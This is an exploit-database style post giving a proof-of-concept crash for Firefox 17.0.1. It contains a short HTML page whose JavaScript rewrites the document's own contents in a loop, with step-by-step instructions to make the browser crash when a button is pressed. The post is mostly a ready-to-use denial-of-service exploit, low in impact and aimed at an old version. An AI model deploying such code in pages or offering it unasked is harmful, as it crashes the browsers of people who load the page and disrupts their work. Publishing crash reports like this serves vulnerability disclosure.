# Exploit Title: Firefox 17.0.1 Crash PoC # Date: 13.12.2012 # Exploit Author: limb0 # Software Link: http://www.mozilla.org/en-US/ # Version: 17.0.1 # Tested on: Linux +-------------------------------------------------------------+ Instruction 1.Create a new .html/.htm file and copy paste this code in. <html><head><center><h1>Firefox Crash PoC</h1> <script type="text/javascript"> function crash() { for (i = 0; i < 100; i++) { subject = document.body.innerHTML; document.write(subject); } } </script><body><form> <input type="button" value="Crash it" onclick="crash()" /> </form></body></center></head></html> 2.Open the file with your default browser. 3.Press "Crash it" and voila. Proof: http://postimage.org/image/vadrodi7x/ +--------------------------------------------------------------+